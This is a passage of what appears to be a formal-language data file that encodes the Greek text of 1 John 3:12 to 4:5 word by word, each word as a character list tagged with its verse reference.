∷ word (π ∷ ο ∷ ν ∷ η ∷ ρ ∷ ὰ ∷ []) "1John.3.12"
∷ word (ἦ ∷ ν ∷ []) "1John.3.12"
∷ word (τ ∷ ὰ ∷ []) "1John.3.12"
∷ word (δ ∷ ὲ ∷ []) "1John.3.12"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.3.12"
∷ word (ἀ ∷ δ ∷ ε ∷ ∙λ ∷ φ ∷ ο ∷ ῦ ∷ []) "1John.3.12"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.3.12"
∷ word (δ ∷ ί ∷ κ ∷ α ∷ ι ∷ α ∷ []) "1John.3.12"
∷ word (μ ∷ ὴ ∷ []) "1John.3.13"
∷ word (θ ∷ α ∷ υ ∷ μ ∷ ά ∷ ζ ∷ ε ∷ τ ∷ ε ∷ []) "1John.3.13"
∷ word (ἀ ∷ δ ∷ ε ∷ ∙λ ∷ φ ∷ ο ∷ ί ∷ []) "1John.3.13"
∷ word (ε ∷ ἰ ∷ []) "1John.3.13"
∷ word (μ ∷ ι ∷ σ ∷ ε ∷ ῖ ∷ []) "1John.3.13"
∷ word (ὑ ∷ μ ∷ ᾶ ∷ ς ∷ []) "1John.3.13"
∷ word (ὁ ∷ []) "1John.3.13"
∷ word (κ ∷ ό ∷ σ ∷ μ ∷ ο ∷ ς ∷ []) "1John.3.13"
∷ word (ἡ ∷ μ ∷ ε ∷ ῖ ∷ ς ∷ []) "1John.3.14"
∷ word (ο ∷ ἴ ∷ δ ∷ α ∷ μ ∷ ε ∷ ν ∷ []) "1John.3.14"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.3.14"
∷ word (μ ∷ ε ∷ τ ∷ α ∷ β ∷ ε ∷ β ∷ ή ∷ κ ∷ α ∷ μ ∷ ε ∷ ν ∷ []) "1John.3.14"
∷ word (ἐ ∷ κ ∷ []) "1John.3.14"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.3.14"
∷ word (θ ∷ α ∷ ν ∷ ά ∷ τ ∷ ο ∷ υ ∷ []) "1John.3.14"
∷ word (ε ∷ ἰ ∷ ς ∷ []) "1John.3.14"
∷ word (τ ∷ ὴ ∷ ν ∷ []) "1John.3.14"
∷ word (ζ ∷ ω ∷ ή ∷ ν ∷ []) "1John.3.14"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.3.14"
∷ word (ἀ ∷ γ ∷ α ∷ π ∷ ῶ ∷ μ ∷ ε ∷ ν ∷ []) "1John.3.14"
∷ word (τ ∷ ο ∷ ὺ ∷ ς ∷ []) "1John.3.14"
∷ word (ἀ ∷ δ ∷ ε ∷ ∙λ ∷ φ ∷ ο ∷ ύ ∷ ς ∷ []) "1John.3.14"
∷ word (ὁ ∷ []) "1John.3.14"
∷ word (μ ∷ ὴ ∷ []) "1John.3.14"
∷ word (ἀ ∷ γ ∷ α ∷ π ∷ ῶ ∷ ν ∷ []) "1John.3.14"
∷ word (μ ∷ έ ∷ ν ∷ ε ∷ ι ∷ []) "1John.3.14"
∷ word (ἐ ∷ ν ∷ []) "1John.3.14"
∷ word (τ ∷ ῷ ∷ []) "1John.3.14"
∷ word (θ ∷ α ∷ ν ∷ ά ∷ τ ∷ ῳ ∷ []) "1John.3.14"
∷ word (π ∷ ᾶ ∷ ς ∷ []) "1John.3.15"
∷ word (ὁ ∷ []) "1John.3.15"
∷ word (μ ∷ ι ∷ σ ∷ ῶ ∷ ν ∷ []) "1John.3.15"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.3.15"
∷ word (ἀ ∷ δ ∷ ε ∷ ∙λ ∷ φ ∷ ὸ ∷ ν ∷ []) "1John.3.15"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.3.15"
∷ word (ἀ ∷ ν ∷ θ ∷ ρ ∷ ω ∷ π ∷ ο ∷ κ ∷ τ ∷ ό ∷ ν ∷ ο ∷ ς ∷ []) "1John.3.15"
∷ word (ἐ ∷ σ ∷ τ ∷ ί ∷ ν ∷ []) "1John.3.15"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.3.15"
∷ word (ο ∷ ἴ ∷ δ ∷ α ∷ τ ∷ ε ∷ []) "1John.3.15"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.3.15"
∷ word (π ∷ ᾶ ∷ ς ∷ []) "1John.3.15"
∷ word (ἀ ∷ ν ∷ θ ∷ ρ ∷ ω ∷ π ∷ ο ∷ κ ∷ τ ∷ ό ∷ ν ∷ ο ∷ ς ∷ []) "1John.3.15"
∷ word (ο ∷ ὐ ∷ κ ∷ []) "1John.3.15"
∷ word (ἔ ∷ χ ∷ ε ∷ ι ∷ []) "1John.3.15"
∷ word (ζ ∷ ω ∷ ὴ ∷ ν ∷ []) "1John.3.15"
∷ word (α ∷ ἰ ∷ ώ ∷ ν ∷ ι ∷ ο ∷ ν ∷ []) "1John.3.15"
∷ word (ἐ ∷ ν ∷ []) "1John.3.15"
∷ word (α ∷ ὐ ∷ τ ∷ ῷ ∷ []) "1John.3.15"
∷ word (μ ∷ έ ∷ ν ∷ ο ∷ υ ∷ σ ∷ α ∷ ν ∷ []) "1John.3.15"
∷ word (ἐ ∷ ν ∷ []) "1John.3.16"
∷ word (τ ∷ ο ∷ ύ ∷ τ ∷ ῳ ∷ []) "1John.3.16"
∷ word (ἐ ∷ γ ∷ ν ∷ ώ ∷ κ ∷ α ∷ μ ∷ ε ∷ ν ∷ []) "1John.3.16"
∷ word (τ ∷ ὴ ∷ ν ∷ []) "1John.3.16"
∷ word (ἀ ∷ γ ∷ ά ∷ π ∷ η ∷ ν ∷ []) "1John.3.16"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.3.16"
∷ word (ἐ ∷ κ ∷ ε ∷ ῖ ∷ ν ∷ ο ∷ ς ∷ []) "1John.3.16"
∷ word (ὑ ∷ π ∷ ὲ ∷ ρ ∷ []) "1John.3.16"
∷ word (ἡ ∷ μ ∷ ῶ ∷ ν ∷ []) "1John.3.16"
∷ word (τ ∷ ὴ ∷ ν ∷ []) "1John.3.16"
∷ word (ψ ∷ υ ∷ χ ∷ ὴ ∷ ν ∷ []) "1John.3.16"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.3.16"
∷ word (ἔ ∷ θ ∷ η ∷ κ ∷ ε ∷ ν ∷ []) "1John.3.16"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.3.16"
∷ word (ἡ ∷ μ ∷ ε ∷ ῖ ∷ ς ∷ []) "1John.3.16"
∷ word (ὀ ∷ φ ∷ ε ∷ ί ∷ ∙λ ∷ ο ∷ μ ∷ ε ∷ ν ∷ []) "1John.3.16"
∷ word (ὑ ∷ π ∷ ὲ ∷ ρ ∷ []) "1John.3.16"
∷ word (τ ∷ ῶ ∷ ν ∷ []) "1John.3.16"
∷ word (ἀ ∷ δ ∷ ε ∷ ∙λ ∷ φ ∷ ῶ ∷ ν ∷ []) "1John.3.16"
∷ word (τ ∷ ὰ ∷ ς ∷ []) "1John.3.16"
∷ word (ψ ∷ υ ∷ χ ∷ ὰ ∷ ς ∷ []) "1John.3.16"
∷ word (θ ∷ ε ∷ ῖ ∷ ν ∷ α ∷ ι ∷ []) "1John.3.16"
∷ word (ὃ ∷ ς ∷ []) "1John.3.17"
∷ word (δ ∷ []) "1John.3.17"
∷ word (ἂ ∷ ν ∷ []) "1John.3.17"
∷ word (ἔ ∷ χ ∷ ῃ ∷ []) "1John.3.17"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.3.17"
∷ word (β ∷ ί ∷ ο ∷ ν ∷ []) "1John.3.17"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.3.17"
∷ word (κ ∷ ό ∷ σ ∷ μ ∷ ο ∷ υ ∷ []) "1John.3.17"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.3.17"
∷ word (θ ∷ ε ∷ ω ∷ ρ ∷ ῇ ∷ []) "1John.3.17"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.3.17"
∷ word (ἀ ∷ δ ∷ ε ∷ ∙λ ∷ φ ∷ ὸ ∷ ν ∷ []) "1John.3.17"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.3.17"
∷ word (χ ∷ ρ ∷ ε ∷ ί ∷ α ∷ ν ∷ []) "1John.3.17"
∷ word (ἔ ∷ χ ∷ ο ∷ ν ∷ τ ∷ α ∷ []) "1John.3.17"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.3.17"
∷ word (κ ∷ ∙λ ∷ ε ∷ ί ∷ σ ∷ ῃ ∷ []) "1John.3.17"
∷ word (τ ∷ ὰ ∷ []) "1John.3.17"
∷ word (σ ∷ π ∷ ∙λ ∷ ά ∷ γ ∷ χ ∷ ν ∷ α ∷ []) "1John.3.17"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.3.17"
∷ word (ἀ ∷ π ∷ []) "1John.3.17"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.3.17"
∷ word (π ∷ ῶ ∷ ς ∷ []) "1John.3.17"
∷ word (ἡ ∷ []) "1John.3.17"
∷ word (ἀ ∷ γ ∷ ά ∷ π ∷ η ∷ []) "1John.3.17"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.3.17"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.3.17"
∷ word (μ ∷ έ ∷ ν ∷ ε ∷ ι ∷ []) "1John.3.17"
∷ word (ἐ ∷ ν ∷ []) "1John.3.17"
∷ word (α ∷ ὐ ∷ τ ∷ ῷ ∷ []) "1John.3.17"
∷ word (Τ ∷ ε ∷ κ ∷ ν ∷ ί ∷ α ∷ []) "1John.3.18"
∷ word (μ ∷ ὴ ∷ []) "1John.3.18"
∷ word (ἀ ∷ γ ∷ α ∷ π ∷ ῶ ∷ μ ∷ ε ∷ ν ∷ []) "1John.3.18"
∷ word (∙λ ∷ ό ∷ γ ∷ ῳ ∷ []) "1John.3.18"
∷ word (μ ∷ η ∷ δ ∷ ὲ ∷ []) "1John.3.18"
∷ word (τ ∷ ῇ ∷ []) "1John.3.18"
∷ word (γ ∷ ∙λ ∷ ώ ∷ σ ∷ σ ∷ ῃ ∷ []) "1John.3.18"
∷ word (ἀ ∷ ∙λ ∷ ∙λ ∷ ὰ ∷ []) "1John.3.18"
∷ word (ἐ ∷ ν ∷ []) "1John.3.18"
∷ word (ἔ ∷ ρ ∷ γ ∷ ῳ ∷ []) "1John.3.18"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.3.18"
∷ word (ἀ ∷ ∙λ ∷ η ∷ θ ∷ ε ∷ ί ∷ ᾳ ∷ []) "1John.3.18"
∷ word (ἐ ∷ ν ∷ []) "1John.3.19"
∷ word (τ ∷ ο ∷ ύ ∷ τ ∷ ῳ ∷ []) "1John.3.19"
∷ word (γ ∷ ν ∷ ω ∷ σ ∷ ό ∷ μ ∷ ε ∷ θ ∷ α ∷ []) "1John.3.19"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.3.19"
∷ word (ἐ ∷ κ ∷ []) "1John.3.19"
∷ word (τ ∷ ῆ ∷ ς ∷ []) "1John.3.19"
∷ word (ἀ ∷ ∙λ ∷ η ∷ θ ∷ ε ∷ ί ∷ α ∷ ς ∷ []) "1John.3.19"
∷ word (ἐ ∷ σ ∷ μ ∷ έ ∷ ν ∷ []) "1John.3.19"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.3.19"
∷ word (ἔ ∷ μ ∷ π ∷ ρ ∷ ο ∷ σ ∷ θ ∷ ε ∷ ν ∷ []) "1John.3.19"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.3.19"
∷ word (π ∷ ε ∷ ί ∷ σ ∷ ο ∷ μ ∷ ε ∷ ν ∷ []) "1John.3.19"
∷ word (τ ∷ ὴ ∷ ν ∷ []) "1John.3.19"
∷ word (κ ∷ α ∷ ρ ∷ δ ∷ ί ∷ α ∷ ν ∷ []) "1John.3.19"
∷ word (ἡ ∷ μ ∷ ῶ ∷ ν ∷ []) "1John.3.19"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.3.20"
∷ word (ἐ ∷ ὰ ∷ ν ∷ []) "1John.3.20"
∷ word (κ ∷ α ∷ τ ∷ α ∷ γ ∷ ι ∷ ν ∷ ώ ∷ σ ∷ κ ∷ ῃ ∷ []) "1John.3.20"
∷ word (ἡ ∷ μ ∷ ῶ ∷ ν ∷ []) "1John.3.20"
∷ word (ἡ ∷ []) "1John.3.20"
∷ word (κ ∷ α ∷ ρ ∷ δ ∷ ί ∷ α ∷ []) "1John.3.20"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.3.20"
∷ word (μ ∷ ε ∷ ί ∷ ζ ∷ ω ∷ ν ∷ []) "1John.3.20"
∷ word (ἐ ∷ σ ∷ τ ∷ ὶ ∷ ν ∷ []) "1John.3.20"
∷ word (ὁ ∷ []) "1John.3.20"
∷ word (θ ∷ ε ∷ ὸ ∷ ς ∷ []) "1John.3.20"
∷ word (τ ∷ ῆ ∷ ς ∷ []) "1John.3.20"
∷ word (κ ∷ α ∷ ρ ∷ δ ∷ ί ∷ α ∷ ς ∷ []) "1John.3.20"
∷ word (ἡ ∷ μ ∷ ῶ ∷ ν ∷ []) "1John.3.20"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.3.20"
∷ word (γ ∷ ι ∷ ν ∷ ώ ∷ σ ∷ κ ∷ ε ∷ ι ∷ []) "1John.3.20"
∷ word (π ∷ ά ∷ ν ∷ τ ∷ α ∷ []) "1John.3.20"
∷ word (ἀ ∷ γ ∷ α ∷ π ∷ η ∷ τ ∷ ο ∷ ί ∷ []) "1John.3.21"
∷ word (ἐ ∷ ὰ ∷ ν ∷ []) "1John.3.21"
∷ word (ἡ ∷ []) "1John.3.21"
∷ word (κ ∷ α ∷ ρ ∷ δ ∷ ί ∷ α ∷ []) "1John.3.21"
∷ word (μ ∷ ὴ ∷ []) "1John.3.21"
∷ word (κ ∷ α ∷ τ ∷ α ∷ γ ∷ ι ∷ ν ∷ ώ ∷ σ ∷ κ ∷ ῃ ∷ []) "1John.3.21"
∷ word (ἡ ∷ μ ∷ ῶ ∷ ν ∷ []) "1John.3.21"
∷ word (π ∷ α ∷ ρ ∷ ρ ∷ η ∷ σ ∷ ί ∷ α ∷ ν ∷ []) "1John.3.21"
∷ word (ἔ ∷ χ ∷ ο ∷ μ ∷ ε ∷ ν ∷ []) "1John.3.21"
∷ word (π ∷ ρ ∷ ὸ ∷ ς ∷ []) "1John.3.21"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.3.21"
∷ word (θ ∷ ε ∷ ό ∷ ν ∷ []) "1John.3.21"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.3.22"
∷ word (ὃ ∷ []) "1John.3.22"
∷ word (ἐ ∷ ὰ ∷ ν ∷ []) "1John.3.22"
∷ word (α ∷ ἰ ∷ τ ∷ ῶ ∷ μ ∷ ε ∷ ν ∷ []) "1John.3.22"
∷ word (∙λ ∷ α ∷ μ ∷ β ∷ ά ∷ ν ∷ ο ∷ μ ∷ ε ∷ ν ∷ []) "1John.3.22"
∷ word (ἀ ∷ π ∷ []) "1John.3.22"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.3.22"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.3.22"
∷ word (τ ∷ ὰ ∷ ς ∷ []) "1John.3.22"
∷ word (ἐ ∷ ν ∷ τ ∷ ο ∷ ∙λ ∷ ὰ ∷ ς ∷ []) "1John.3.22"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.3.22"
∷ word (τ ∷ η ∷ ρ ∷ ο ∷ ῦ ∷ μ ∷ ε ∷ ν ∷ []) "1John.3.22"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.3.22"
∷ word (τ ∷ ὰ ∷ []) "1John.3.22"
∷ word (ἀ ∷ ρ ∷ ε ∷ σ ∷ τ ∷ ὰ ∷ []) "1John.3.22"
∷ word (ἐ ∷ ν ∷ ώ ∷ π ∷ ι ∷ ο ∷ ν ∷ []) "1John.3.22"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.3.22"
∷ word (π ∷ ο ∷ ι ∷ ο ∷ ῦ ∷ μ ∷ ε ∷ ν ∷ []) "1John.3.22"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.3.23"
∷ word (α ∷ ὕ ∷ τ ∷ η ∷ []) "1John.3.23"
∷ word (ἐ ∷ σ ∷ τ ∷ ὶ ∷ ν ∷ []) "1John.3.23"
∷ word (ἡ ∷ []) "1John.3.23"
∷ word (ἐ ∷ ν ∷ τ ∷ ο ∷ ∙λ ∷ ὴ ∷ []) "1John.3.23"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.3.23"
∷ word (ἵ ∷ ν ∷ α ∷ []) "1John.3.23"
∷ word (π ∷ ι ∷ σ ∷ τ ∷ ε ∷ ύ ∷ σ ∷ ω ∷ μ ∷ ε ∷ ν ∷ []) "1John.3.23"
∷ word (τ ∷ ῷ ∷ []) "1John.3.23"
∷ word (ὀ ∷ ν ∷ ό ∷ μ ∷ α ∷ τ ∷ ι ∷ []) "1John.3.23"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.3.23"
∷ word (υ ∷ ἱ ∷ ο ∷ ῦ ∷ []) "1John.3.23"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.3.23"
∷ word (Ἰ ∷ η ∷ σ ∷ ο ∷ ῦ ∷ []) "1John.3.23"
∷ word (Χ ∷ ρ ∷ ι ∷ σ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.3.23"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.3.23"
∷ word (ἀ ∷ γ ∷ α ∷ π ∷ ῶ ∷ μ ∷ ε ∷ ν ∷ []) "1John.3.23"
∷ word (ἀ ∷ ∙λ ∷ ∙λ ∷ ή ∷ ∙λ ∷ ο ∷ υ ∷ ς ∷ []) "1John.3.23"
∷ word (κ ∷ α ∷ θ ∷ ὼ ∷ ς ∷ []) "1John.3.23"
∷ word (ἔ ∷ δ ∷ ω ∷ κ ∷ ε ∷ ν ∷ []) "1John.3.23"
∷ word (ἐ ∷ ν ∷ τ ∷ ο ∷ ∙λ ∷ ὴ ∷ ν ∷ []) "1John.3.23"
∷ word (ἡ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.3.23"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.3.24"
∷ word (ὁ ∷ []) "1John.3.24"
∷ word (τ ∷ η ∷ ρ ∷ ῶ ∷ ν ∷ []) "1John.3.24"
∷ word (τ ∷ ὰ ∷ ς ∷ []) "1John.3.24"
∷ word (ἐ ∷ ν ∷ τ ∷ ο ∷ ∙λ ∷ ὰ ∷ ς ∷ []) "1John.3.24"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.3.24"
∷ word (ἐ ∷ ν ∷ []) "1John.3.24"
∷ word (α ∷ ὐ ∷ τ ∷ ῷ ∷ []) "1John.3.24"
∷ word (μ ∷ έ ∷ ν ∷ ε ∷ ι ∷ []) "1John.3.24"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.3.24"
∷ word (α ∷ ὐ ∷ τ ∷ ὸ ∷ ς ∷ []) "1John.3.24"
∷ word (ἐ ∷ ν ∷ []) "1John.3.24"
∷ word (α ∷ ὐ ∷ τ ∷ ῷ ∷ []) "1John.3.24"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.3.24"
∷ word (ἐ ∷ ν ∷ []) "1John.3.24"
∷ word (τ ∷ ο ∷ ύ ∷ τ ∷ ῳ ∷ []) "1John.3.24"
∷ word (γ ∷ ι ∷ ν ∷ ώ ∷ σ ∷ κ ∷ ο ∷ μ ∷ ε ∷ ν ∷ []) "1John.3.24"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.3.24"
∷ word (μ ∷ έ ∷ ν ∷ ε ∷ ι ∷ []) "1John.3.24"
∷ word (ἐ ∷ ν ∷ []) "1John.3.24"
∷ word (ἡ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.3.24"
∷ word (ἐ ∷ κ ∷ []) "1John.3.24"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.3.24"
∷ word (π ∷ ν ∷ ε ∷ ύ ∷ μ ∷ α ∷ τ ∷ ο ∷ ς ∷ []) "1John.3.24"
∷ word (ο ∷ ὗ ∷ []) "1John.3.24"
∷ word (ἡ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.3.24"
∷ word (ἔ ∷ δ ∷ ω ∷ κ ∷ ε ∷ ν ∷ []) "1John.3.24"
∷ word (Ἀ ∷ γ ∷ α ∷ π ∷ η ∷ τ ∷ ο ∷ ί ∷ []) "1John.4.1"
∷ word (μ ∷ ὴ ∷ []) "1John.4.1"
∷ word (π ∷ α ∷ ν ∷ τ ∷ ὶ ∷ []) "1John.4.1"
∷ word (π ∷ ν ∷ ε ∷ ύ ∷ μ ∷ α ∷ τ ∷ ι ∷ []) "1John.4.1"
∷ word (π ∷ ι ∷ σ ∷ τ ∷ ε ∷ ύ ∷ ε ∷ τ ∷ ε ∷ []) "1John.4.1"
∷ word (ἀ ∷ ∙λ ∷ ∙λ ∷ ὰ ∷ []) "1John.4.1"
∷ word (δ ∷ ο ∷ κ ∷ ι ∷ μ ∷ ά ∷ ζ ∷ ε ∷ τ ∷ ε ∷ []) "1John.4.1"
∷ word (τ ∷ ὰ ∷ []) "1John.4.1"
∷ word (π ∷ ν ∷ ε ∷ ύ ∷ μ ∷ α ∷ τ ∷ α ∷ []) "1John.4.1"
∷ word (ε ∷ ἰ ∷ []) "1John.4.1"
∷ word (ἐ ∷ κ ∷ []) "1John.4.1"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.4.1"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.4.1"
∷ word (ἐ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.4.1"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.4.1"
∷ word (π ∷ ο ∷ ∙λ ∷ ∙λ ∷ ο ∷ ὶ ∷ []) "1John.4.1"
∷ word (ψ ∷ ε ∷ υ ∷ δ ∷ ο ∷ π ∷ ρ ∷ ο ∷ φ ∷ ῆ ∷ τ ∷ α ∷ ι ∷ []) "1John.4.1"
∷ word (ἐ ∷ ξ ∷ ε ∷ ∙λ ∷ η ∷ ∙λ ∷ ύ ∷ θ ∷ α ∷ σ ∷ ι ∷ ν ∷ []) "1John.4.1"
∷ word (ε ∷ ἰ ∷ ς ∷ []) "1John.4.1"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.4.1"
∷ word (κ ∷ ό ∷ σ ∷ μ ∷ ο ∷ ν ∷ []) "1John.4.1"
∷ word (ἐ ∷ ν ∷ []) "1John.4.2"
∷ word (τ ∷ ο ∷ ύ ∷ τ ∷ ῳ ∷ []) "1John.4.2"
∷ word (γ ∷ ι ∷ ν ∷ ώ ∷ σ ∷ κ ∷ ε ∷ τ ∷ ε ∷ []) "1John.4.2"
∷ word (τ ∷ ὸ ∷ []) "1John.4.2"
∷ word (π ∷ ν ∷ ε ∷ ῦ ∷ μ ∷ α ∷ []) "1John.4.2"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.4.2"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.4.2"
∷ word (π ∷ ᾶ ∷ ν ∷ []) "1John.4.2"
∷ word (π ∷ ν ∷ ε ∷ ῦ ∷ μ ∷ α ∷ []) "1John.4.2"
∷ word (ὃ ∷ []) "1John.4.2"
∷ word (ὁ ∷ μ ∷ ο ∷ ∙λ ∷ ο ∷ γ ∷ ε ∷ ῖ ∷ []) "1John.4.2"
∷ word (Ἰ ∷ η ∷ σ ∷ ο ∷ ῦ ∷ ν ∷ []) "1John.4.2"
∷ word (Χ ∷ ρ ∷ ι ∷ σ ∷ τ ∷ ὸ ∷ ν ∷ []) "1John.4.2"
∷ word (ἐ ∷ ν ∷ []) "1John.4.2"
∷ word (σ ∷ α ∷ ρ ∷ κ ∷ ὶ ∷ []) "1John.4.2"
∷ word (ἐ ∷ ∙λ ∷ η ∷ ∙λ ∷ υ ∷ θ ∷ ό ∷ τ ∷ α ∷ []) "1John.4.2"
∷ word (ἐ ∷ κ ∷ []) "1John.4.2"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.4.2"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.4.2"
∷ word (ἐ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.4.2"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.4.3"
∷ word (π ∷ ᾶ ∷ ν ∷ []) "1John.4.3"
∷ word (π ∷ ν ∷ ε ∷ ῦ ∷ μ ∷ α ∷ []) "1John.4.3"
∷ word (ὃ ∷ []) "1John.4.3"
∷ word (μ ∷ ὴ ∷ []) "1John.4.3"
∷ word (ὁ ∷ μ ∷ ο ∷ ∙λ ∷ ο ∷ γ ∷ ε ∷ ῖ ∷ []) "1John.4.3"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.4.3"
∷ word (Ἰ ∷ η ∷ σ ∷ ο ∷ ῦ ∷ ν ∷ []) "1John.4.3"
∷ word (ἐ ∷ κ ∷ []) "1John.4.3"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.4.3"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.4.3"
∷ word (ο ∷ ὐ ∷ κ ∷ []) "1John.4.3"
∷ word (ἔ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.4.3"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.4.3"
∷ word (τ ∷ ο ∷ ῦ ∷ τ ∷ ό ∷ []) "1John.4.3"
∷ word (ἐ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.4.3"
∷ word (τ ∷ ὸ ∷ []) "1John.4.3"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.4.3"
∷ word (ἀ ∷ ν ∷ τ ∷ ι ∷ χ ∷ ρ ∷ ί ∷ σ ∷ τ ∷ ο ∷ υ ∷ []) "1John.4.3"
∷ word (ὃ ∷ []) "1John.4.3"
∷ word (ἀ ∷ κ ∷ η ∷ κ ∷ ό ∷ α ∷ τ ∷ ε ∷ []) "1John.4.3"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.4.3"
∷ word (ἔ ∷ ρ ∷ χ ∷ ε ∷ τ ∷ α ∷ ι ∷ []) "1John.4.3"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.4.3"
∷ word (ν ∷ ῦ ∷ ν ∷ []) "1John.4.3"
∷ word (ἐ ∷ ν ∷ []) "1John.4.3"
∷ word (τ ∷ ῷ ∷ []) "1John.4.3"
∷ word (κ ∷ ό ∷ σ ∷ μ ∷ ῳ ∷ []) "1John.4.3"
∷ word (ἐ ∷ σ ∷ τ ∷ ὶ ∷ ν ∷ []) "1John.4.3"
∷ word (ἤ ∷ δ ∷ η ∷ []) "1John.4.3"
∷ word (ὑ ∷ μ ∷ ε ∷ ῖ ∷ ς ∷ []) "1John.4.4"
∷ word (ἐ ∷ κ ∷ []) "1John.4.4"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.4.4"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.4.4"
∷ word (ἐ ∷ σ ∷ τ ∷ ε ∷ []) "1John.4.4"
∷ word (τ ∷ ε ∷ κ ∷ ν ∷ ί ∷ α ∷ []) "1John.4.4"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.4.4"
∷ word (ν ∷ ε ∷ ν ∷ ι ∷ κ ∷ ή ∷ κ ∷ α ∷ τ ∷ ε ∷ []) "1John.4.4"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ύ ∷ ς ∷ []) "1John.4.4"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.4.4"
∷ word (μ ∷ ε ∷ ί ∷ ζ ∷ ω ∷ ν ∷ []) "1John.4.4"
∷ word (ἐ ∷ σ ∷ τ ∷ ὶ ∷ ν ∷ []) "1John.4.4"
∷ word (ὁ ∷ []) "1John.4.4"
∷ word (ἐ ∷ ν ∷ []) "1John.4.4"
∷ word (ὑ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.4.4"
∷ word (ἢ ∷ []) "1John.4.4"
∷ word (ὁ ∷ []) "1John.4.4"
∷ word (ἐ ∷ ν ∷ []) "1John.4.4"
∷ word (τ ∷ ῷ ∷ []) "1John.4.4"
∷ word (κ ∷ ό ∷ σ ∷ μ ∷ ῳ ∷ []) "1John.4.4"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ὶ ∷ []) "1John.4.5"
∷ word (ἐ ∷ κ ∷ []) "1John.4.5"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.4.5"
∷ word (κ ∷ ό ∷ σ ∷ μ ∷ ο ∷ υ ∷ []) "1John.4.5"
∷ word (ε ∷ ἰ ∷ σ ∷ ί ∷ ν ∷ []) "1John.4.5"
∷ word (δ ∷ ι ∷ ὰ ∷ []) "1John.4.5"
∷ word (τ ∷ ο ∷ ῦ ∷ τ ∷ ο ∷ []) "1John.4.5"
